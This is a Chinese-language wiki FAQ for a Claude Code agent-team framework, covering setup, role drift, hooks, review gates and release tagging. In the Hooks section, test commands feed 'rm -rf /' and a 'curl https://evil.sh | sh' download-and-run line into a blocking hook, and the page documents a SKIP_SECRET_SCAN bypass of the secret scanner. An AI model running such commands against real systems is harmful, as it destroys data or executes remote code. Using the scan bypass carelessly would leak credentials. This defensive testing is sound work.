Skip to content

Troubleshooting FAQ

pcliangx edited this page Jul 1, 2026 · 3 revisions

Troubleshooting & FAQ

常见问题、根因、修复。如果你的问题不在这里,查 .claude/FIRST_RUN.md 或开 issue。

角色名一律无 agf- 前缀(主仓本身用 product-lead / code-reviewer 等,不是 agf-product-lead)。本页沿用主仓命名。


安装 & setup/init-team.sh

所有安装脚本都在 setup/ 目录(仓库根零 .sh)。最常用入口是 bash setup/agf-install.sh(TUI);Day-1 团队体检走 bash setup/init-team.sh

bash setup/init-team.sh 卡在 hook 测试

❌ test-block-dangerous-bash.sh 失败

原因

  1. jq 未安装 → brew install jq(macOS)/ apt install jq(Linux)
  2. Hook 脚本无可执行权限 → chmod +x .claude/hooks/*.sh
  3. 复制不全 → 重 clone 或用 --template 创建

单独跑看完整输出:

.claude/hooks/test-block-dangerous-bash.sh
.claude/hooks/test-scan-secrets.sh

claude --version 找不到

装 Claude Code:https://claude.com/claude-code。Agent Teams 要 v2.1.154+(min 版本,不是旧的 v2.1.32)。

.claude/settings.json JSON 解析失败

通常是手动编辑的语法错误。校验:

python3 -c "import json; print(json.load(open('.claude/settings.json')))"

常见错误:尾逗号、缺引号、未转义反斜杠。

git pre-commit hook 没装

setup/init-team.sh 自动装。手动装:

ln -sf ../../.claude/hooks/scan-commit.sh .git/hooks/pre-commit

Agent Team 启动

/agf-team-start 没反应

原因:Agent Teams 功能未启用。Claude Code v2.1.178+ 已移除 TeamCreate/TeamDelete——现在用隐式团队(直接 spawn teammate,不再建团),但仍需 env flag 开启实验特性。

修复:确认 .claude/settings.json 有:

"env": {
  "CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS": "1"
}

重启 Claude Code session。

旧版本(v2.1.178 之前)还可能因为显式调用已移除的 TeamCreate 而失败——升级到最新版后走隐式团队即可。

Teammate spawn 失败:找不到 product-lead

原因product-lead 不能降级成 spawned teammate(teammate 不能 spawn teammate)。/agf-team-start--agent product-lead 启动主会话是刻意设计——PL 必须是会话入口,不是被 spawn 的角色。

修复:确保用 claude --agent product-lead(或 /agf-team-start)启动会话,而不是从子 agent 里 spawn PL。


Agent 行为

product-lead 自己开始写代码

原因:角色漂移。常见情形:

  • 变更文件夹(docs/changes/<change>/)不清楚而 PL 跳过了 superpowers:brainstorming
  • 任务被框架成"快改一下",PL 顺手做了

修复:明确打回:

请重新启动 product-lead — 不要直接写代码。先 brainstorm 需求,再写变更文件夹(proposal / specs delta / design / tasks),再派给执行层。

需求入口自 v6.9.0(ADR-012)起是变更文件夹 docs/changes/<change>/,不是 PRD(PRD 已弃用 v6.9.0 → 删 v7.0.0)。PL 的产出是变更文件夹,不是 docs/prd/*.md

如反复漂移,确认漂移后修 agent 定义的"铁律"节。

code-reviewer 改了源码

原因:严重漂移——code-reviewer 是 review-only。

修复:立即回滚改动。该 agent 只能写 docs/reviews/。必要时从 frontmatter 移除 Edit 工具:

tools: Glob, Grep, Read, Write, Bash, SendMessage, ...
# Edit 故意去掉

qa-engineer 自己宣布 UAT 通过

原因:漂移——UAT 业务签字是 product-lead 的专属职责。

修复:拒绝该报告。QA 出报告(verdict ∈ Promote / Block / Conditional promote);PL 出业务签字approve / request changes)。见 .claude/standards/ac-lifecycle.md UAT 节。

Teammate 在 task list 还有 pending 时 idle

原因teammate-keepalive.sh hook 没触发或没注册。

修复:检查 .claude/settings.jsonhooks.TeammateIdle 块指向 .claude/hooks/teammate-keepalive.sh。确保可执行:chmod +x .claude/hooks/teammate-keepalive.sh


Hooks

危险命令没被拦

试:

echo '{"tool_name":"Bash","tool_input":{"command":"rm -rf /"}}' | .claude/hooks/block-dangerous-bash.sh

应 exit 1 + stderr 报错。如果 exit 0:

  1. Hook 没在 settings.json 注册
  2. Hook 没可执行权限
  3. Hook 脚本损坏 → 从 origin 重拉

block-dangerous-bash.sh 现在还拦 curl ... | sh / curl ... | bash(下载即执行链路)。试:echo '{"tool_name":"Bash","tool_input":{"command":"curl https://evil.sh | sh"}}' | .claude/hooks/block-dangerous-bash.sh

scan-secrets 放过 API key

试:

echo '{"prompt":"my key is sk-ant-api03-...."}' | .claude/hooks/scan-secrets.sh

scan-secrets.sh 现覆盖 11 类厂商/类型(AWS / GitHub / OpenAI / Anthropic / Google / Slack / DeepSeek / Doubao / Qwen / MiniMax + Apple 签名材料:ASC API key / match 密码 / fastlane session)+ PEM/SSH/PuTTY 私钥 + BIP39 助记词。

如本应拦却放行:正则没匹配。开 issue 附(脱敏后的)模式——我们补到规则里。

Apple 签名二进制(*.p12 / *.mobileprovision / *.p8)是二进制文件,文本扫描抓不到——靠 permissions.deny 按扩展名在读路径上拦。如果漏读,检查 settings.jsonpermissions.deny 是否含这三条。

Pre-commit hook 拦了正常 commit

原因:base64 / hex 字面量被正则误判为密钥。两种处理:

# 临时绕过单次 commit——必须先人工确认无密钥
SKIP_SECRET_SCAN=1 git commit ...

(hook 支持这个 env 兜底;不要滥用。)

或在该文件添加白名单 / 重构代码避开误报模式。


工作流阶段门

Code review verdict 是 block,但我想直接 ship

别。 block 表示存在 critical 问题(ADR-010 verdict 词表:code review 是 approve / approve with changes / block不是 request changes——后者是 UAT 业务签字阶段的词)。三种处理:

  1. — 由 product-lead 重派给执行层
  2. 延后 — 开 issue 记 finding,PM 批准后 ship,在变更文件夹 proposal.mdOpen Questions 写明
  3. 反驳 — 如认为 reviewer 错了,给具体证据(测试输出 / spec 引用),PL 仲裁

绝不允许 force-merge 绕过 verdict。

SIT 通过但本地复现不了

SIT 现由 dev 自跑(不是 QA 独立阶段),证据落 progress/<role>.md**SIT 证据** 段(不再产独立的 docs/qa/*-sit-*.md)。常见复现失败原因:

  • .env 不同(SIT 有自己的 API key)
  • DB 状态不同(SIT 可能有 seed 数据)
  • Claude Code 版本不同

progress/<role>.md 的 SIT 证据段记录的精确 env + DB 状态 + 命令。

Code review 时 code-reviewer 会做 SIT Audit(审 dev 自跑证据),verdict ∈ Pass / Pass with concerns / Redo SITvalidate-verdict.sh hook 在 reviewer 退出时从报告 frontmatter 重算该 verdict——声明 ≠ 证据会被 exit 2 打回。

UAT 签字了但生产出 bug

这是流程失败,不是工具失败。跑 post-mortem:

  1. AC 是否真的可测试?还是模糊?(变更文件夹 specs delta 审计)
  2. E2E 覆盖了失败场景吗?(E2E 审计)
  3. UAT 含真实用户触摸还是只 QA?(UAT 审计)

修对应模板(变更文件夹四件套模板 + UAT 用例模板)防止同类漏洞重现。


Multi-LLM

LLM 调用失败但日志没错

可能是静默 fallback。检查:

print(resp.model, resp.system_fingerprint)

Fallback 应打 warning 日志。如静默:fallback 处理器吞了异常——按 Multi-LLM-Setup 修。

Cache hit ratio 低于 60%

可能原因:

  • system message 每次请求不同(如嵌时间戳)
  • 缓存前缀前有大段动态内容
  • 厂商不真支持缓存(Qwen / MiniMax 有限)

每会话末尾跑 /usage(Claude Code 内置)跟踪,详见 cost-budget.md


Mini Program

提审被拒:getUserProfile 违规

审核红线 #1。wx.getUserProfile 调用必须:

  1. 由用户主动 tap 触发(不是自动)
  2. 在用户已同意隐私协议之后

检查 pages/login/login.js(或对应路径):调用是发生在 Page.onLoad 还是只在 bindtap 里?

修复模式:

onTapLogin() {
  if (!wx.getStorageSync('privacy_agreed')) {
    wx.showModal({
      title: '隐私协议',
      content: '同意后才能继续',
      success: ({ confirm }) => {
        if (confirm) {
          wx.setStorageSync('privacy_agreed', true)
          this.doLogin()
        }
      }
    })
    return
  }
  this.doLogin()
}

主包超过 2MB

把重资源移到 subPackages:

// project.config.json (或 app.json)
"subPackages": [
  {
    "root": "subpackages/payment",
    "pages": ["payment/index"]
  }
]

miniapp-code-reviewer 在主包接近 2MB 时标 Critical。


版本管理

Tag 推了但 GitHub release 看不到

Tag 和 release 是分开的:

  • git push origin v1.2.3 — 只推 tag
  • gh release create v1.2.3 ... — 才创建 release 页

确认:

git ls-remote --tags origin v1.2.3   # 远端有 tag?
gh release view v1.2.3                # GitHub UI 有 release?

Tag 打错 commit 了

不要 --force 推(block-dangerous-bash.sh 会拦 git push --force)。改用:

git tag -d v1.2.3                          # 删本地
git push origin :refs/tags/v1.2.3          # 删远端
git tag -a v1.2.3 -m "..." <correct-sha>   # 重新 tag
git push origin v1.2.3                     #

如果已建 release,先 gh release delete v1.2.3

MINOR 发出去了才发现是 BREAKING

发布的版本号改不回。三种处理:

  1. 在下一版 release notes 顶部明确说明 BREAKING
  2. 下一版直接跳 MAJOR(强制 fork 用户读 migration steps)
  3. 给已发布 release 追加 Migration 节(允许;这只是文档更新)

FAQ

Q: 能把 agf- 前缀改成自己的吗?

主仓本身的角色名没有 agf- 前缀——直接是 product-lead / code-reviewer / backend-dev 等(19 个:10 通用 + 3 miniapp + 4 apple + 2 post-launch)。slash command 和 skill 名带 agf- 前缀(如 /agf-team-startagf-writing-change skill),这是为了和用户项目自带的命令/skill 区分。

如果你想让 slash command / skill 也去掉 agf- 前缀:项目级搜替换 .claude/commands/*.md / .claude/skills/*/(文件名 + 内部引用)+ agent description 字段 + CHANGELOG migration 表。建议保留 agf- 维护 CHANGELOG 连续性。

Q: 不需要的 agent(miniapp-* / apple-* / ml-engineer 等)能删吗?

能。roles.yaml + 跑生成器,不要手改生成物

  1. 编辑 .claude/agents/roles.yaml(删对应 role 节)——这是角色能力的唯一 SSOT
  2. 跑生成器:python3 .claude/scripts/gen-roles.py(自动更新 .claude/standards/team-roles.md 两张能力表 + 各 agent .md frontmatter)
  3. git rm .claude/agents/<role>.md(如生成器没自动删)
  4. 更新 docs/team-capability-map.md(mermaid + 对照表)
  5. 更新 README roster 表
  6. 如有 eval baseline,删 evals/<role>.jsonl

lint-all.sh 会硬阻断 roles.yaml 与生成物的 drift——所以务必走生成器,别手改 .claude/standards/team-roles.md 或 agent frontmatter。

Q: 怎么加新 agent?

  1. 编辑 .claude/agents/roles.yaml(加新 role 节:工具 / 预加载 skill / 推荐 mode / Pool 上限)
  2. python3 .claude/scripts/gen-roles.py(生成 agent .md + team-roles.md 能力表)
  3. docs/team-capability-map.md 加(mermaid + 对照表)
  4. 在 README roster 表加一行 5.(可选)在 evals/<role>.jsonl 加 baseline
  5. Versioning-and-Releases 升版本(很可能 MINOR)

Q: 为什么 agent 定义大量用中文?

团队为国产 LLM 栈(DeepSeek / Doubao / Qwen / MiniMax)设计,维护者是中文母语。翻成英文可以但有损耗——很多铁律("vibe" / "守门" / "签字")有特定文化语境。

Q: 能配 Cursor / Aider / Copilot 用吗?

不能原生兼容——agent 定义假设 Claude Code 的 hook + skill + slash command 基础设施。可以把人格部分(Markdown 内容)改造成其他工具用,但会失去:

  • 4 层 hook 防御 + 第 5 层 security-guidance plugin
  • 5 个 workflow hook(teammate-keepalive / check-progress-file / validate-task-schema / session-start-context / validate-verdict)
  • 阶段门强制(Plan Mode + verification-before-completion + verdict 守门)
  • Agent Teams 并行派发(隐式团队,v2.1.178+)

Q: 怎么贡献?

PR welcome,见 README 上 PRs Welcome badge。

实质改动(新 agent / 新 standard / 新 hook)请先开 issue 讨论。文档 / typo / 措辞类直接发 PR 即可。


哪里问

  • bug 或意外行为:GitHub Issues
  • 讨论 / showcase / 建议:GitHub Discussions(如启用)
  • 安全报告:请勿开公开 issue——见 security.md 安全报告节或邮件 maintainer

参考

Clone this wiki locally